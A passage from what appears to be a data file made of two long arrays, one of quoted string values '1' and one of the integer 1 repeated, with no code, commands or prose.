","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"] +[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1] 